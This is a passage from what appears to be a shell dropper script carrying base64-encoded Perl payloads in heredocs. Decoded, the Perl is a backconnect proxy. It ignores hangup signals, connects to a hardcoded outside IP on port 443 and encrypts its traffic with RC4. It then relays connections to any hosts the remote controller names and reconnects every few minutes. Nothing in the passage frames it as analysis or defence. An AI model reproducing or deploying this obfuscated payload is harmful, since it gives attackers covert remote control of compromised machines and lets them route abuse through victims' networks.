ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_14() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzInOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ 